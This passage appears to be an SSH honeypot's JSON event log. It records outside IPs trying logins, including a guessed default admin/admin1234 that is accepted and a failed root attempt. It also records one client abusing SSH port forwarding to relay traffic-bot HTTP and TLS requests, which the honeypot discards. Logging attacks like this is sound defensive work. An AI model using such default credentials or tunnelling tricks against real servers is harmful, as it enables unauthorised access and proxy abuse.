/wIE\\xe8\\xff\\x06$\\x867\\x12\\x9a\\x1av\\xf5\\x94\\xe4sqp6\\xc1\\xcc\\xd1C\\xa4L\\xb1\\x8f\\xc2$>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x06\\xfb\\x10\\xdc\\xb9\\x0c\\xb6\\xa6\\xa6c\\x0b\\xb9\\x04\\xa5B\\xcb\\x11\\\\\\xef\\xb5\\x08\\xc9,\\xee\\x0e\\x19\\xac\\xb9\\x1e\\x88\\xcf\\x08 e\\xde\\xc6\\xea\\xfd*tx\\xfe\\xf0\\x1e\\xe3<\\x0b\\x19\\xdb\\xca\\xd2\\x0b\\xce0\\xb1\\x1ec\\x9f\\xbc\\x82\\x96\\xc7\\x8c-Y\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 /wIE\\xe8\\xff\\x06$\\x867\\x12\\x9a\\x1av\\xf5\\x94\\xe4sqp6\\xc1\\xcc\\xd1C\\xa4L\\xb1\\x8f\\xc2$>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:05.995685Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:06.029470Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:06.489988Z","src_ip":"113.164.152.20","session":"b074a2054f49","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:07.820072Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":49913,"dst_ip":"10.17.0.5","dst_port":22,"session":"4718519e7e3f","protocol":"ssh","message":"New connection: 23.175.50.51:49913 (10.17.0.5:22) [session: 4718519e7e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:17.992087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:17.996413Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:18.202674Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:22.838035Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46060,"dst_ip":"10.17.0.5","dst_port":22,"session":"b13226b29e7f","protocol":"ssh","message":"New connection: 194.113.233.25:46060 (10.17.0.5:22) [session: b13226b29e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:27.131799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:27.136239Z","src_ip":"194.113.233.25","session":"b13226b29e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:27.226960Z","src_ip":"194.113.233.25","session":"b13226b29e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150519","message":"login attempt [root/150519] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:27.502679Z","src_ip":"194.113.233.25","session":"b13226b29e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:28.596813Z","src_ip":"194.113.233.25","session":"b13226b29e7f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.150104Z","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.155067Z","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.158518Z","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.215896Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Q2V7a0FpVV8kWGJ1dkNJWA%3D%3DThYJA57sMhhaWJdXXQ%2BM5wJe1deOT12h%2BRkRK5djaz2g9%2Bu7owFjqOMQpvFd3cRYTqlu1E8fbiVpqEjG0jVKT%2Fmxfdal4wSUbNbQm9yH%2FU%2BCupTDBzGhu4i1PM09fJQobnUx1SaLYPXrV0ayjexL9ZWGXMeJnkhcNFTa5HsLaLNlumj5ztTt6D%2B8LrA6ApghwWU09V2MSiv9%2Fi%2FIla%2Bw7L8vzLuG%2FjY2vItSegUa5rxYzvKd8WTGV8lg97kS%2F34BpPDxgQtwuX4GuEYw18M4iyZFEKxzN58FSso24uIWcFPqzcGIt%2F2l3ozbvj9LD8nYGHDBCNOaPg3J8cwxCv5tgm6k%2FZeK3P7oi%2BVpeI%2BBevrB5DZWDmk0Rc8VfbKFA9qglnhPqmRK7py8cJp1LguXMtYXDKVWK8aaE7OOPaO%2FbyUNbblX6cUEVzElpkTa6xPwAZDnEKACpwEAJ5lAbBEbCUZL1lbSR%2BuPeOS3tYLE6KkoZ1hZlIjspTxWBAmGfFOan1EnsOkyjVsSBGJ%2BQ%2FUENjlVw4dVB2Div%2FUGyju%2Bz%2BM4qKYTDS4xNteCS9Y4nTyqblLNBcu71lAkKb7F%2BvhGlxMcv3q6hLxZGL%2F0VzB6rQIbc3KKXtGkkLDFDT%2BbHBSMQqnPZfKfV6FJar8W5VwOy4z9XtFvqUyqedpE5otgdfHGpm2RnrE%2FPW3C1gmyyKkI7xCeeg4Kyad7Xxf4t4qMnWjNgKizKB0LJ1ibE4imRlslsWIpRTb62LLfcDkoyT99gLZ0MIlQ9fNTCV523CGm21lVK73LulN8vDBtUvtr8bzdzGK88qh2zdbyq3fh%2FYDaRI988pMJrdHVamYJbjomgkXU%2Fd0z6kdI7vTsi33ukekCBnP1u6Pwe9T8xG8nwZJtlYx0qpOhR2YX4i6HKcktR9IkfSFfs0OGDTnzNjBghhQBx7EpuzgjuL32bBXKgOHK0i7dPwFl3EIazfeZV%2FzohgTub3U3pOqQYscyKytjMbNofMv4KsXV1vUc8bB4fE6nkzQun09MY0G4%2FxJr%2Fg0THLu5tzPw%2FKOKTVmTZtUZzfqZDlrSZrYNXLQkJc4ydoj1'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Q2V7a0FpVV8kWGJ1dkNJWA%3D%3DThYJA57sMhhaWJdXXQ%2BM5wJe1deOT12h%2BRkRK5djaz2g9%2Bu7owFjqOMQpvFd3cRYTqlu1E8fbiVpqEjG0jVKT%2Fmxfdal4wSUbNbQm9yH%2FU%2BCupTDBzGhu4i1PM09fJQobnUx1SaLYPXrV0ayjexL9ZWGXMeJnkhcNFTa5HsLaLNlumj5ztTt6D%2B8LrA6ApghwWU09V2MSiv9%2Fi%2FIla%2Bw7L8vzLuG%2FjY2vItSegUa5rxYzvKd8WTGV8lg97kS%2F34BpPDxgQtwuX4GuEYw18M4iyZFEKxzN58FSso24uIWcFPqzcGIt%2F2l3ozbvj9LD8nYGHDBCNOaPg3J8cwxCv5tgm6k%2FZeK3P7oi%2BVpeI%2BBevrB5DZWDmk0Rc8VfbKFA9qglnhPqmRK7py8cJp1LguXMtYXDKVWK8aaE7OOPaO%2FbyUNbblX6cUEVzElpkTa6xPwAZDnEKACpwEAJ5lAbBEbCUZL1lbSR%2BuPeOS3tYLE6KkoZ1hZlIjspTxWBAmGfFOan1EnsOkyjVsSBGJ%2BQ%2FUENjlVw4dVB2Div%2FUGyju%2Bz%2BM4qKYTDS4xNteCS9Y4nTyqblLNBcu71lAkKb7F%2BvhGlxMcv3q6hLxZGL%2F0VzB6rQIbc3KKXtGkkLDFDT%2BbHBSMQqnPZfKfV6FJar8W5VwOy4z9XtFvqUyqedpE5otgdfHGpm2RnrE%2FPW3C1gmyyKkI7xCeeg4Kyad7Xxf4t4qMnWjNgKizKB0LJ1ibE4imRlslsWIpRTb62LLfcDkoyT99gLZ0MIlQ9fNTCV523CGm21lVK73LulN8vDBtUvtr8bzdzGK88qh2zdbyq3fh%2FYDaRI988pMJrdHVamYJbjomgkXU%2Fd0z6kdI7vTsi33ukekCBnP1u6Pwe9T8xG8nwZJtlYx0qpOhR2YX4i6HKcktR9IkfSFfs0OGDTnzNjBghhQBx7EpuzgjuL32bBXKgOHK0i7dPwFl3EIazfeZV%2FzohgTub3U3pOqQYscyKytjMbNofMv4KsXV1vUc8bB4fE6nkzQun09MY0G4%2FxJr%2Fg0THLu5tzPw%2FKOKTVmTZtUZzfqZDlrSZrYNXLQkJc4ydoj1'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.219105Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:33.227127Z","src_ip":"23.175.50.51","session":"28f6c09937f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xae\\x12C}Q\\xcd\\xa9T\\x8b\\xdcu\\x10\\xad\\xe1\\xbc/\\x89\\xd4.&E\\xa9\\r\\xdd\\xd2 \\x1e\\xdc\\x9c\\x1dr \\xb2\\x85:\\xcf\\xaa4\\x1a\\x15\\xdf\\xf5\\x80\\x01 \\x95\\xdd!\\xc0\\x16WU\\xf9\\x19$\\x05\\x9d\\xe9\\xb2q\\xba:\\xc6\\xe0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6\\xfcY\\xa3f\\x00M\\xb1s\\xfb\\xfc\\n;\\xfcb\\xe9C\\xfd\\x16P\\xc6f\\xf6\\xa0\\x85\\xfdy*+zJ \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xae\\x12C}Q\\xcd\\xa9T\\x8b\\xdcu\\x10\\xad\\xe1\\xbc/\\x89\\xd4.&E\\xa9\\r\\xdd\\xd2 \\x1e\\xdc\\x9c\\x1dr \\xb2\\x85:\\xcf\\xaa4\\x1a\\x15\\xdf\\xf5\\x80\\x01 \\x95\\xdd!\\xc0\\x16WU\\xf9\\x19$\\x05\\x9d\\xe9\\xb2q\\xba:\\xc6\\xe0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6\\xfcY\\xa3f\\x00M\\xb1s\\xfb\\xfc\\n;\\xfcb\\xe9C\\xfd\\x16P\\xc6f\\xf6\\xa0\\x85\\xfdy*+zJ 